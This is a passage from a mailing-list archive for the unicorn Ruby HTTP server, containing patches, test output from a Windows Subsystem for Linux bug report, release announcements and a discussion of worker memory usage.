option (but I prefer not to add more options). Embedded -N support
is an anti-feature which leads to lock-in.
Thanks.
^ permalink raw reply [relevance 2%]
* [PATCH] shrink pipes under Linux
@ 2018-08-20 20:30 6% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2018-08-20 20:30 UTC (permalink / raw)
To: unicorn-public; +Cc: Eric Wong
We have never had any need for pipes with the default 64K
capacity on Linux. Our pipes are only used for tiny writes
in signal handlers and to perform parent shutdown detection.
With the current /proc/sys/fs/pipe-user-pages-soft
default, only 1024 pipes can be created by an unprivileged
user before Linux clamps down the pipe size to 4K (a single page)
for newly-created pipes[1].
So avoid penalizing OTHER pipe users who could benefit from the
increased capacity and use only a single page for ourselves.
[1] https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/fs/pipe.c?h=v4.18#n642
---
lib/unicorn.rb | 18 ++++++++++++++++--
lib/unicorn/http_request.rb | 1 -
lib/unicorn/launcher.rb | 2 +-
test/unit/test_util.rb | 23 +++++++++++++++++++++++
4 files changed, 40 insertions(+), 4 deletions(-)
diff --git a/lib/unicorn.rb b/lib/unicorn.rb
index 85e4df1..b6dae36 100644
--- a/lib/unicorn.rb
+++ b/lib/unicorn.rb
@@ -2,6 +2,7 @@
require 'etc'
require 'stringio'
require 'kgio'
+require 'raindrops'
require 'io/wait'
begin
@@ -113,9 +114,22 @@ def self.log_error(logger, prefix, exc)
exc.backtrace.each { |line| logger.error(line) }
end
- # remove this when we only support Ruby >= 2.0
+ F_SETPIPE_SZ = 1031 if RUBY_PLATFORM =~ /linux/
+
def self.pipe # :nodoc:
- Kgio::Pipe.new.each { |io| io.close_on_exec = true }
+ Kgio::Pipe.new.each do |io|
+ io.close_on_exec = true # remove this when we only support Ruby >= 2.0
+
+ # shrink pipes to minimize impact on /proc/sys/fs/pipe-user-pages-soft
+ # limits.
+ if defined?(F_SETPIPE_SZ)
+ begin
+ io.fcntl(F_SETPIPE_SZ, Raindrops::PAGE_SIZE)
+ rescue Errno::EINVAL
+ # old kernel
+ end
+ end
+ end
end
# :startdoc:
end
diff --git a/lib/unicorn/http_request.rb b/lib/unicorn/http_request.rb
index d713b19..8bb884b 100644
--- a/lib/unicorn/http_request.rb
+++ b/lib/unicorn/http_request.rb
@@ -2,7 +2,6 @@
# :enddoc:
# no stable API here
require 'unicorn_http'
-require 'raindrops'
# TODO: remove redundant names
Unicorn.const_set(:HttpRequest, Unicorn::HttpParser)
diff --git a/lib/unicorn/launcher.rb b/lib/unicorn/launcher.rb
index 5eafe5b..78e8f39 100644
--- a/lib/unicorn/launcher.rb
+++ b/lib/unicorn/launcher.rb
@@ -31,7 +31,7 @@ def self.daemonize!(options)
# \_ parent - exits immediately ASAP
# \_ unicorn master - writes to pipe when ready
- rd, wr = IO.pipe
+ rd, wr = Unicorn.pipe
grandparent = $$
if fork
wr.close # grandparent does not write
diff --git a/test/unit/test_util.rb b/test/unit/test_util.rb
index dc6302e..586fc6c 100644
--- a/test/unit/test_util.rb
+++ b/test/unit/test_util.rb
@@ -102,4 +102,27 @@ def test_reopen_logs_renamed_with_internal_encoding
}
tmp.close!
end
+
+ def test_pipe
+ r, w = Unicorn.pipe
+ assert r
+ assert w
+
+ return if RUBY_PLATFORM =~ /linux/
+
+ f_getpipe_sz = 1032
+ IO.pipe do |a, b|
+ a_sz = a.fcntl(f_getpipe_sz)
+ b_sz = b.fcntl(f_getpipe_sz)
+ assert_kind_of Integer, a_sz
+ r_sz = r.fcntl(f_getpipe_sz)
+ assert_equal Raindrops::PAGE_SIZE, r_sz
+ assert_operator a_sz, :>=, r_sz
+ end
+ rescue Errno::EINVAL
+ # Linux <= 2.6.34
+ ensure
+ w.close
+ r.close
+ end
end
--
EW
^ permalink raw reply related [relevance 6%]
* KGIO issues under WSL
@ 2018-08-14 2:05 4% Sam Saffron
0 siblings, 0 replies; 200+ results
From: Sam Saffron @ 2018-08-14 2:05 UTC (permalink / raw)
To: unicorn-public, Eric Wong
Howdy,
For some crazy reason we really want to run Unicorn on Windows
Subsytem for Linux. We only use Unicorn in production and some of our
devs like using WSL for "crazy reasons TM".
I guess the on-boarding is somewhat easier for Windows users vs
spinning up a proper VM.
WSL overall works fine but is missing some socket options that mean
Kgio is toast and you can not accept sockets.
linking shared-object kgio_ext.so
make[1]: Leaving directory '/home/sam/kgio/tmp/ext/ruby-2.5.1/ext/kgio'
ruby -I lib:tmp/ext/ruby-2.5.1/ext/kgio test/test_autopush.rb
Loaded suite test/test_autopush
Started
E
=====================================================================================================================================================================================================================================================================================
test/test_autopush.rb:32:in `test_autopush_accessors'
29: Kgio.autopush = true
30: opt = RUBY_PLATFORM =~ /freebsd/ ? TCP_NOPUSH : TCP_CORK
31: s = Kgio::TCPSocket.new(@host, @port)
=> 32: assert_equal 0, s.getsockopt(Socket::IPPROTO_TCP,
opt).unpack('i')[0]
33: assert ! s.kgio_autopush?
34: s.kgio_autopush = true
35: assert s.kgio_autopush?
test/test_autopush.rb:32:in `getsockopt'
Error: test_autopush_accessors(TestAutopush): Errno::ENOPROTOOPT:
Protocol not available - getsockopt(2)
=====================================================================================================================================================================================================================================================================================
F
=====================================================================================================================================================================================================================================================================================
test/test_autopush.rb:97:in `test_autopush_false'
94: @rd.kgio_write "HI\n"
95: @wr.kgio_read(3, rbuf)
96: diff = Time.now - t0
=> 97: assert(diff >= 0.190, "nopush broken? diff=#{diff} > 200ms")
98: assert_equal "HI\n", rbuf
99: end
100:
Failure: test_autopush_false(TestAutopush):
nopush broken? diff=5.68e-05 > 200ms.
<false> is not true.
=====================================================================================================================================================================================================================================================================================
E
=====================================================================================================================================================================================================================================================================================
test/test_autopush.rb:113:in `test_autopush_true'
110: assert_equal 1, lines.grep(/TCP_CORK/).size, lines.inspect
111: assert_equal 1, @rd.getsockopt(Socket::SOL_TCP,
TCP_CORK).unpack("i")[0]
112: else
=> 113: @rd = @srv.kgio_accept
114: end
115:
116: @wr.write "HI\n"
test/test_autopush.rb:113:in `kgio_accept'
Error: test_autopush_true(TestAutopush): Errno::ENOPROTOOPT: Protocol
not available - getsockopt(TCP_CORK/TCP_NOPUSH)
=====================================================================================================================================================================================================================================================================================
E
=====================================================================================================================================================================================================================================================================================
test/test_autopush.rb:64:in `test_autopush_true_unix'
61: lines = io.readlines
62: assert lines.grep(/TCP_CORK/).empty?, lines.inspect
63: else
=> 64: @wr = @srv.kgio_accept
65: t0 = Time.now
66: @wr.kgio_write "HI\n"
67: rc = @wr.kgio_tryread 666
test/test_autopush.rb:64:in `kgio_accept'
Error: test_autopush_true_unix(TestAutopush): Errno::EINVAL: Invalid
argument - getsockopt(TCP_CORK/TCP_NOPUSH)
=====================================================================================================================================================================================================================================================================================
Finished in 0.0209615 seconds.
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4 tests, 7 assertions, 1 failures, 3 errors, 0 pendings, 0 omissions,
0 notifications
0% passed
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
190.83 tests/s, 333.95 assertions/s
pkg.mk:122: recipe for target 'test/test_autopush.rb' failed
make: *** [test/test_autopush.rb] Error 1
sam@sams-pc:~/kgio$
I was thinking since we are going to be giving up kgio longer term
anyway, is there a way of having some flag for running unicorn without
kgio or maybe even with minimal socket options given setsockoptions
and getsockoptions are patchy. A monkey patch would be fine a well
cause this is just for development and Puma seems to be ok-ish.
^ permalink raw reply [relevance 4%]
* [ANN] unicorn 5.4.1 - Rack HTTP server for fast clients and Unix
2017-12-23 23:42 2% [ANN] unicorn 5.4.0 - Rack HTTP server for fast clients and Unix Eric Wong
@ 2018-07-23 17:19 2% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2018-07-23 17:19 UTC (permalink / raw)
To: ruby-talk, unicorn-public; +Cc: Fumiaki MATSUSHIMA
unicorn is an HTTP server for Rack applications designed to only serve
fast clients on low-latency, high-bandwidth connections and take
advantage of features in Unix/Unix-like kernels. Slow clients should
only be served by placing a reverse proxy capable of fully buffering
both the the request and response in between unicorn and slow clients.
* https://bogomips.org/unicorn/
* public list: unicorn-public@bogomips.org
* public mail archives: https://bogomips.org/unicorn-public/
* git clone https://bogomips.org/unicorn.git
* https://bogomips.org/unicorn/NEWS.atom.xml
* nntp://news.public-inbox.org/inbox.comp.lang.ruby.unicorn
Changes:
unicorn 5.4.1
This release quiets some warnings for Ruby 2.6 preview releases
and enables tests to pass under Ruby 1.9.3. Otherwise, nothing
interesting for Ruby 2.0..2.5 users. *YAWN*
Eric Wong (1):
quiet some mismatched indentation warnings
Fumiaki MATSUSHIMA (1):
Use IO#wait instead to fix test for Ruby 1.9
^ permalink raw reply [relevance 2%]
* [PATCH] quiet some mismatched indentation warnings
@ 2018-04-30 7:54 9% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2018-04-30 7:54 UTC (permalink / raw)
To: unicorn-public
Ruby trunk started warning about more mismatched indentations
starting around r62836.
---
lib/unicorn/http_server.rb | 24 ++++++++++++------------
lib/unicorn/socket_helper.rb | 4 ++--
lib/unicorn/util.rb | 4 ++--
test/exec/test_exec.rb | 13 ++++++-------
test/unit/test_server.rb | 10 +++++-----
test/unit/test_signals.rb | 4 ++--
test/unit/test_socket_helper.rb | 8 ++++----
7 files changed, 33 insertions(+), 34 deletions(-)
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 8674729..bbbca6c 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -553,9 +553,9 @@ def spawn_missing_workers
@workers[pid] = worker
worker.atfork_parent
end
- rescue => e
- @logger.error(e) rescue nil
- exit!
+ rescue => e
+ @logger.error(e) rescue nil
+ exit!
end
def maintain_worker_count
@@ -586,7 +586,7 @@ def handle_error(client, e)
client.kgio_trywrite(err_response(code, @request.response_start_sent))
end
client.close
- rescue
+ rescue
end
def e100_response_write(client, env)
@@ -669,9 +669,9 @@ def reopen_worker_logs(worker_nr)
logger.info "worker=#{worker_nr} reopening logs..."
Unicorn::Util.reopen_logs
logger.info "worker=#{worker_nr} done reopening logs"
- rescue => e
- logger.error(e) rescue nil
- exit!(77) # EX_NOPERM in sysexits.h
+ rescue => e
+ logger.error(e) rescue nil
+ exit!(77) # EX_NOPERM in sysexits.h
end
# runs inside each forked worker, this sits around and waits
@@ -757,11 +757,11 @@ def valid_pid?(path)
wpid <= 0 and return
Process.kill(0, wpid)
wpid
- rescue Errno::EPERM
- logger.info "pid=#{path} possibly stale, got EPERM signalling PID:#{wpid}"
- nil
- rescue Errno::ESRCH, Errno::ENOENT
- # don't unlink stale pid files, racy without non-portable locking...
+ rescue Errno::EPERM
+ logger.info "pid=#{path} possibly stale, got EPERM signalling PID:#{wpid}"
+ nil
+ rescue Errno::ESRCH, Errno::ENOENT
+ # don't unlink stale pid files, racy without non-portable locking...
end
def load_config!
diff --git a/lib/unicorn/socket_helper.rb b/lib/unicorn/socket_helper.rb
index 9e672d9..b540302 100644
--- a/lib/unicorn/socket_helper.rb
+++ b/lib/unicorn/socket_helper.rb
@@ -100,8 +100,8 @@ def set_server_sockopt(sock, opt)
log_buffer_sizes(sock, " after: ")
end
sock.listen(opt[:backlog])
- rescue => e
- Unicorn.log_error(logger, "#{sock_name(sock)} #{opt.inspect}", e)
+ rescue => e
+ Unicorn.log_error(logger, "#{sock_name(sock)} #{opt.inspect}", e)
end
def log_buffer_sizes(sock, pfx = '')
diff --git a/lib/unicorn/util.rb b/lib/unicorn/util.rb
index 2f8bfeb..501930c 100644
--- a/lib/unicorn/util.rb
+++ b/lib/unicorn/util.rb
@@ -11,8 +11,8 @@ def self.is_log?(fp)
fp.stat.file? &&
fp.sync &&
(fp.fcntl(Fcntl::F_GETFL) & append_flags) == append_flags
- rescue IOError, Errno::EBADF
- false
+ rescue IOError, Errno::EBADF
+ false
end
def self.chown_logs(uid, gid)
diff --git a/test/exec/test_exec.rb b/test/exec/test_exec.rb
index 9723c5c..8a6b43e 100644
--- a/test/exec/test_exec.rb
+++ b/test/exec/test_exec.rb
@@ -193,8 +193,8 @@ def test_working_directory_rel_path_config_file
assert_equal other.path, results.first
Process.kill(:QUIT, pid)
- ensure
- FileUtils.rmtree(other.path)
+ ensure
+ FileUtils.rmtree(other.path)
end
def test_working_directory
@@ -229,8 +229,8 @@ def test_working_directory
assert_equal other.path, results.first
Process.kill(:QUIT, pid)
- ensure
- FileUtils.rmtree(other.path)
+ ensure
+ FileUtils.rmtree(other.path)
end
def test_working_directory_controls_relative_paths
@@ -271,11 +271,10 @@ def test_working_directory_controls_relative_paths
wait_master_ready("#{other.path}/stderr_log_here")
Process.kill(:QUIT, pid)
- ensure
- FileUtils.rmtree(other.path)
+ ensure
+ FileUtils.rmtree(other.path)
end
-
def test_exit_signals
%w(INT TERM QUIT).each do |sig|
File.open("config.ru", "wb") { |fp| fp.syswrite(HI) }
diff --git a/test/unit/test_server.rb b/test/unit/test_server.rb
index 8b3afad..8096955 100644
--- a/test/unit/test_server.rb
+++ b/test/unit/test_server.rb
@@ -17,9 +17,9 @@ def call(env)
while env['rack.input'].read(4096)
end
[200, { 'Content-Type' => 'text/plain' }, ['hello!\n']]
- rescue Unicorn::ClientShutdown, Unicorn::HttpParserError => e
- $stderr.syswrite("#{e.class}: #{e.message} #{e.backtrace.empty?}\n")
- raise e
+ rescue Unicorn::ClientShutdown, Unicorn::HttpParserError => e
+ $stderr.syswrite("#{e.class}: #{e.message} #{e.backtrace.empty?}\n")
+ raise e
end
end
@@ -80,8 +80,8 @@ def test_preload_app_config
loader_pid = tmp.sysread(4096).to_i
assert_equal $$, loader_pid
assert worker_pid != loader_pid
- ensure
- tmp.close!
+ ensure
+ tmp.close!
end
def test_broken_app
diff --git a/test/unit/test_signals.rb b/test/unit/test_signals.rb
index 4592819..4d9fdc5 100644
--- a/test/unit/test_signals.rb
+++ b/test/unit/test_signals.rb
@@ -114,8 +114,8 @@ def test_timeout_slow_response
assert_nil buf
assert diff > 1.0, "diff was #{diff.inspect}"
assert diff < 60.0
- ensure
- Process.kill(:TERM, pid) rescue nil
+ ensure
+ Process.kill(:TERM, pid) rescue nil
end
def test_response_write
diff --git a/test/unit/test_socket_helper.rb b/test/unit/test_socket_helper.rb
index 8699409..fbc7bb9 100644
--- a/test/unit/test_socket_helper.rb
+++ b/test/unit/test_socket_helper.rb
@@ -57,8 +57,8 @@ def test_bind_listen_unix
assert File.readable?(@unix_listener_path), "not readable"
assert File.writable?(@unix_listener_path), "not writable"
assert_equal 0777, File.umask
- ensure
- File.umask(old_umask)
+ ensure
+ File.umask(old_umask)
end
def test_bind_listen_unix_umask
@@ -71,8 +71,8 @@ def test_bind_listen_unix_umask
assert_equal @unix_listener_path, sock_name(@unix_listener)
assert_equal 0140700, File.stat(@unix_listener_path).mode
assert_equal 0777, File.umask
- ensure
- File.umask(old_umask)
+ ensure
+ File.umask(old_umask)
end
def test_bind_listen_unix_idempotent
--
EW
^ permalink raw reply related [relevance 9%]
* Re: [PATCH] Use IO#wait instead to fix test for Ruby 1.9
2018-02-24 8:08 9% ` Eric Wong
@ 2018-02-25 11:34 6% ` Fumiaki Matsushima
0 siblings, 0 replies; 200+ results
From: Fumiaki Matsushima @ 2018-02-25 11:34 UTC (permalink / raw)
To: unicorn-public
Thanks!
> I don't care for whatever ruby-core claims to support
Honestly, I don't use not maintained versions.
On Sat, Feb 24, 2018 at 5:08 PM, Eric Wong <e@80x24.org> wrote:
> Fumiaki MATSUSHIMA <mtsm.fm@gmail.com> wrote:
>> IO#wait_readable is introduced since 2.0
>>
>> I confirmed we can pass tests for all versions of Ruby with this patch.
>
> Thanks, applied. Not sure if it's worth making a new release
> to fix a test case, so I might wait a bit and see if there's
> other stuff.
>
> Also curious, how long do folks intend to continue using 1.9.3?
>
> I don't care for whatever ruby-core claims to support, I know
> realistically some folks (including distros) continue using older
> versions for a while and I'll do my best to support them.
^ permalink raw reply [relevance 6%]
* [PATCH] Send SIGTERM before SIGKILL on timeout
@ 2018-02-24 8:48 5% Fumiaki MATSUSHIMA
0 siblings, 0 replies; 200+ results
From: Fumiaki MATSUSHIMA @ 2018-02-24 8:48 UTC (permalink / raw)
To: unicorn-public; +Cc: mtsmfm
To output log / send error to error tracking service,
we need to receive a signal other than SIGKILL first.
---
Hi Unicorn team,
I'm not sure this change is accetable though,
I can find some articles and patches to prevent SIGKILL
on timeout.
I think it's great if this feature is supported by unicorn itself.
Could you give me your opinion?
lib/unicorn/configurator.rb | 16 +++++++++++++++-
lib/unicorn/http_server.rb | 27 +++++++++++++++++----------
test/unit/test_signals.rb | 43 +++++++++++++++++++++++++++++++++++++++++++
3 files changed, 75 insertions(+), 11 deletions(-)
diff --git a/lib/unicorn/configurator.rb b/lib/unicorn/configurator.rb
index f34d38b..f854032 100644
--- a/lib/unicorn/configurator.rb
+++ b/lib/unicorn/configurator.rb
@@ -30,6 +30,7 @@ class Unicorn::Configurator
# Default settings for Unicorn
DEFAULTS = {
:timeout => 60,
+ :sigterm_timeout => 60,
:logger => Logger.new($stderr),
:worker_processes => 1,
:after_fork => lambda { |server, worker|
@@ -237,11 +238,24 @@ def before_exec(*args, &block)
#
# See http://nginx.org/en/docs/http/ngx_http_upstream_module.html
# for more details on nginx upstream configuration.
- def timeout(seconds)
+ #
+ # The following options may be specified:
+ #
+ # [:sigterm => seconds]
+ #
+ # Send SIGTERM when worker process is timed out.
+ # Workers can't output backtrace if it's received SIGKILL
+ # so it's useful to send SIGTERM before SIGKILL to find slow codes.
+ # If you specify sigterm greater than or equal to timeout, workers will be always killed by SIGKILL.
+ #
+ # Default: same seconds as the timeout
+ def timeout(seconds, options = {})
set_int(:timeout, seconds, 3)
# POSIX says 31 days is the smallest allowed maximum timeout for select()
max = 30 * 60 * 60 * 24
set[:timeout] = seconds > max ? max : seconds
+
+ set_int(:sigterm_timeout, options[:sigterm] || set[:timeout], 3)
end
# Whether to exec in each worker process after forking. This changes the
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 8674729..da7c420 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -11,7 +11,7 @@
# See Unicorn::Configurator for information on how to configure unicorn.
class Unicorn::HttpServer
# :stopdoc:
- attr_accessor :app, :timeout, :worker_processes,
+ attr_accessor :app, :timeout, :sigterm_timeout, :worker_processes,
:before_fork, :after_fork, :before_exec,
:listener_opts, :preload_app,
:orig_app, :config, :ready_pipe, :user
@@ -284,10 +284,10 @@ def join
when nil
# avoid murdering workers after our master process (or the
# machine) comes out of suspend/hibernation
- if (last_check + @timeout) >= (last_check = time_now)
+ if (last_check + @sigterm_timeout) >= (last_check = time_now)
sleep_time = murder_lazy_workers
else
- sleep_time = @timeout/2.0 + 1
+ sleep_time = @sigterm_timeout/2.0 + 1
@logger.debug("waiting #{sleep_time}s after suspend/hibernation")
end
maintain_worker_count if respawn
@@ -495,21 +495,29 @@ def close_sockets_on_exec(sockets)
# forcibly terminate all workers that haven't checked in in timeout seconds. The timeout is implemented using an unlinked File
def murder_lazy_workers
- next_sleep = @timeout - 1
+ next_sleep = @sigterm_timeout - 1
now = time_now.to_i
@workers.dup.each_pair do |wpid, worker|
tick = worker.tick
0 == tick and next # skip workers that haven't processed any clients
diff = now - tick
- tmp = @timeout - diff
+ tmp = @sigterm_timeout - diff
+
if tmp >= 0
next_sleep > tmp and next_sleep = tmp
next
end
next_sleep = 0
- logger.error "worker=#{worker.nr} PID:#{wpid} timeout " \
- "(#{diff}s > #{@timeout}s), killing"
- kill_worker(:KILL, wpid) # take no prisoners for timeout violations
+
+ if diff > @timeout
+ logger.error "worker=#{worker.nr} PID:#{wpid} timeout " \
+ "(#{diff}s > #{@timeout}s), killing with SIGKILL"
+ kill_worker(:KILL, wpid) # take no prisoners for timeout violations
+ elsif diff > @sigterm_timeout
+ logger.error "worker=#{worker.nr} PID:#{wpid} timeout " \
+ "(#{diff}s > #{@sigterm_timeout}s), killing with SIGTERM"
+ kill_worker(:TERM, wpid) # take no prisoners for timeout violations
+ end
end
next_sleep <= 0 ? 1 : next_sleep
end
@@ -655,7 +663,6 @@ def init_worker_process(worker)
LISTENERS.each { |sock| sock.close_on_exec = true }
worker.user(*user) if user.kind_of?(Array) && ! worker.switched
- self.timeout /= 2.0 # halve it for select()
@config = nil
build_app! unless preload_app
@after_fork = @listener_opts = @orig_app = nil
@@ -718,7 +725,7 @@ def worker_loop(worker)
# timeout used so we can detect parent death:
worker.tick = time_now.to_i
- ret = IO.select(readers, nil, nil, @timeout) and ready = ret[0]
+ ret = IO.select(readers, nil, nil, @sigterm_timeout / 2.0) and ready = ret[0]
rescue => e
redo if nr < 0 && readers[0]
Unicorn.log_error(@logger, "listen loop error", e) if readers[0]
diff --git a/test/unit/test_signals.rb b/test/unit/test_signals.rb
index 4592819..dc74a9b 100644
--- a/test/unit/test_signals.rb
+++ b/test/unit/test_signals.rb
@@ -118,6 +118,49 @@ def test_timeout_slow_response
Process.kill(:TERM, pid) rescue nil
end
+ def test_timeout_slow_response_with_sigterm
+ pid = fork {
+ app = lambda { |env|
+ Signal.trap(:TERM) {
+ puts 'Killed by SIGTERM'
+
+ exit
+ }
+
+ sleep
+ }
+ redirect_test_io {
+ Tempfile.open(['config', '.rb']) { |file|
+ file.write(<<-EOS)
+ timeout 100, sigterm: 3
+ EOS
+
+ file.flush
+
+ HttpServer.new(app, @server_opts.merge(config_file: file.path)).start.join
+ }
+ }
+ }
+ t0 = Time.now
+ wait_workers_ready("test_stderr.#{pid}.log", 1)
+ sock = TCPSocket.new('127.0.0.1', @port)
+ sock.syswrite("GET / HTTP/1.0\r\n\r\n")
+
+ buf = nil
+ assert_raises(EOFError,Errno::ECONNRESET,Errno::EPIPE,Errno::EINVAL,
+ Errno::EBADF) do
+ buf = sock.sysread(4096)
+ end
+ diff = Time.now - t0
+ assert_nil buf
+ assert diff > 1.0, "diff was #{diff.inspect}"
+ assert diff < 60.0
+ assert_equal "Killed by SIGTERM\n", File.read("test_stdout.#{pid}.log")
+ wait_workers_ready("test_stderr.#{pid}.log", 1)
+ ensure
+ Process.kill(:TERM, pid) rescue nil
+ end
+
def test_response_write
app = lambda { |env|
[ 200, { 'Content-Type' => 'text/plain', 'X-Pid' => Process.pid.to_s },
--
2.14.1
^ permalink raw reply related [relevance 5%]
* Re: [PATCH] Use IO#wait instead to fix test for Ruby 1.9
2018-02-24 7:06 14% [PATCH] Use IO#wait instead to fix test for Ruby 1.9 Fumiaki MATSUSHIMA
@ 2018-02-24 8:08 9% ` Eric Wong
2018-02-25 11:34 6% ` Fumiaki Matsushima
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2018-02-24 8:08 UTC (permalink / raw)
To: Fumiaki MATSUSHIMA; +Cc: unicorn-public, mtsmfm
Fumiaki MATSUSHIMA <mtsm.fm@gmail.com> wrote:
> IO#wait_readable is introduced since 2.0
>
> I confirmed we can pass tests for all versions of Ruby with this patch.
Thanks, applied. Not sure if it's worth making a new release
to fix a test case, so I might wait a bit and see if there's
other stuff.
Also curious, how long do folks intend to continue using 1.9.3?
I don't care for whatever ruby-core claims to support, I know
realistically some folks (including distros) continue using older
versions for a while and I'll do my best to support them.
^ permalink raw reply [relevance 9%]
* [PATCH] Use IO#wait instead to fix test for Ruby 1.9
@ 2018-02-24 7:06 14% Fumiaki MATSUSHIMA
2018-02-24 8:08 9% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Fumiaki MATSUSHIMA @ 2018-02-24 7:06 UTC (permalink / raw)
To: unicorn-public; +Cc: mtsmfm
IO#wait_readable is introduced since 2.0
I confirmed we can pass tests for all versions of Ruby with this patch.
https://github.com/mtsmfm/unicorn/pull/2
---
test/unit/test_ccc.rb | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/test/unit/test_ccc.rb b/test/unit/test_ccc.rb
index 0db0c38..3be1439 100644
--- a/test/unit/test_ccc.rb
+++ b/test/unit/test_ccc.rb
@@ -44,7 +44,7 @@ def test_ccc_tcpi
# make sure the server is running, at least
client = TCPSocket.new(host, port)
client.write("GET / HTTP/1.1\r\nHost: example.com\r\n\r\n")
- assert client.wait_readable(10), 'never got response from server'
+ assert client.wait(10), 'never got response from server'
res = client.read
assert_match %r{\AHTTP/1\.1 200}, res, 'got part of first response'
assert_match %r{\r\n\r\n\z}, res, 'got end of response, server is ready'
--
2.14.1
^ permalink raw reply related [relevance 14%]
* Re: unicorn takes 1.4G memory per worker
@ 2018-02-10 13:52 2% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2018-02-10 13:52 UTC (permalink / raw)
To: cyan eccentricyan; +Cc: unicorn-public
cyan eccentricyan <eccentricyan@gmail.com> wrote:
> github . com/unicorn-engine/unicorn/issues/941
>
> after deploy or restart unicorn, it doesnt resolve the big memory problem
> i want to know what make unicorn memory size and how to make staging
> unicorn size to 230M not 1.4G
You're going to have to analyze your app and all is dependencies
to figure this out; but it's generic Ruby knowledge to fix and
the problem is all over the place...
I get angry as hell when it comes to memory usage but there's
not a lot I can do besides rant(*) and try to fix some things
which come along:
http://blade.nagaokaut.ac.jp/cgi-bin/scat.rb/ruby/ruby-talk/438693
http://blade.nagaokaut.ac.jp/cgi-bin/scat.rb/ruby/ruby-talk/438700
There's more Ruby itself can do (some I intend to work on later
this year); but nothing is going to save you if the apps do wacky
things like load hundreds of thousands of rows from a DB into
memory or try to process giant files all at once.
A lot of of it is mentality: It starts like things like turning
off HTML in your mail client (which roughly triples the size of
mail) and forcing yourself to test and develop against old
hardware on slow connections.
(*) Even 230M is too much IMHO:
https://bogomips.org/unicorn-public/20161212021000.GA15226@untitled/
^ permalink raw reply [relevance 2%]
* [ANN] unicorn 5.4.0 - Rack HTTP server for fast clients and Unix
@ 2017-12-23 23:42 2% Eric Wong
2018-07-23 17:19 2% ` [ANN] unicorn 5.4.1 " Eric Wong
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2017-12-23 23:42 UTC (permalink / raw)
To: ruby-talk, unicorn-public; +Cc: James P Robinson Jr, Sam Saffron
unicorn is an HTTP server for Rack applications designed to only serve
fast clients on low-latency, high-bandwidth connections and take
advantage of features in Unix/Unix-like kernels. Slow clients should
only be served by placing a reverse proxy capable of fully buffering
both the the request and response in between unicorn and slow clients.
* https://bogomips.org/unicorn/
* public list: unicorn-public@bogomips.org
* mail archives: https://bogomips.org/unicorn-public/
* git clone git://bogomips.org/unicorn.git
* https://bogomips.org/unicorn/NEWS.atom.xml
* nntp://news.public-inbox.org/inbox.comp.lang.ruby.unicorn
Changes:
Rack hijack support improves as the app code can capture and use
the Rack `env' privately without copying it (to avoid clobbering
by another client). Thanks to Sam Saffron for reporting and
testing this new feature:
https://bogomips.org/unicorn-public/CAAtdryPG3nLuyo0jxfYW1YHu1Q+ZpkLkd4KdWC8vA46B5haZxw@mail.gmail.com/T/
We also now support $DEBUG being set by the Rack app (instead of
relying on the "-d" CLI switch). Thanks to James P Robinson Jr
for reporting this bug:
https://bogomips.org/unicorn-public/D6324CB4.7BC3E%25james.robinson3@cigna.com/T/
(Coincidentally, this fix will be irrelevant for Ruby 2.5
which requires 'pp' by default)
There's a few minor test cleanups and documentation updates, too.
All commits since v5.3.1 (2017-10-03):
reduce method calls with String#start_with?
require 'pp' if $DEBUG is set by Rack app
avoid reusing env on hijack
tests: cleanup some unused variable warnings
ISSUES: add a note about Debian BTS interopability
Roughly all mailing discussions since the last release:
https://bogomips.org/unicorn-public/?q=d:20171004..20171223
^ permalink raw reply [relevance 2%]
* [PATCH] tests: cleanup some unused variable warnings
@ 2017-12-22 3:17 14% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-12-22 3:17 UTC (permalink / raw)
To: unicorn-public
Add a new "check-warnings" target to the GNUmakefile to make
checking for this easier. Warnings aren't fatal, and newer
versions of Ruby tend to increase warnings.
---
GNUmakefile | 5 +++++
test/unit/test_droplet.rb | 2 +-
test/unit/test_request.rb | 20 ++++++++++----------
3 files changed, 16 insertions(+), 11 deletions(-)
diff --git a/GNUmakefile b/GNUmakefile
index 51045d4..2505e1f 100644
--- a/GNUmakefile
+++ b/GNUmakefile
@@ -249,5 +249,10 @@ endif
$(PLACEHOLDERS):
echo olddoc_placeholder > $@
+check-warnings:
+ @(for i in $$(git ls-files '*.rb' bin | grep -v '^setup\.rb$$'); \
+ do $(RUBY) --disable-gems -d -W2 -c \
+ $$i; done) | grep -v '^Syntax OK$$' || :
+
.PHONY: .FORCE-GIT-VERSION-FILE doc $(T) $(slow_tests) man
.PHONY: test-install
diff --git a/test/unit/test_droplet.rb b/test/unit/test_droplet.rb
index 73cf38c..81ad82b 100644
--- a/test/unit/test_droplet.rb
+++ b/test/unit/test_droplet.rb
@@ -4,7 +4,7 @@
class TestDroplet < Test::Unit::TestCase
def test_create_many_droplets
now = Time.now.to_i
- tmp = (0..1024).map do |i|
+ (0..1024).each do |i|
droplet = Unicorn::Worker.new(i)
assert droplet.respond_to?(:tick)
assert_equal 0, droplet.tick
diff --git a/test/unit/test_request.rb b/test/unit/test_request.rb
index f0ccaf7..6cb0268 100644
--- a/test/unit/test_request.rb
+++ b/test/unit/test_request.rb
@@ -34,7 +34,7 @@ def test_options
assert_equal '', env['REQUEST_PATH']
assert_equal '', env['PATH_INFO']
assert_equal '*', env['REQUEST_URI']
- res = @lint.call(env)
+ assert_kind_of Array, @lint.call(env)
end
def test_absolute_uri_with_query
@@ -44,7 +44,7 @@ def test_absolute_uri_with_query
assert_equal '/x', env['REQUEST_PATH']
assert_equal '/x', env['PATH_INFO']
assert_equal 'y=z', env['QUERY_STRING']
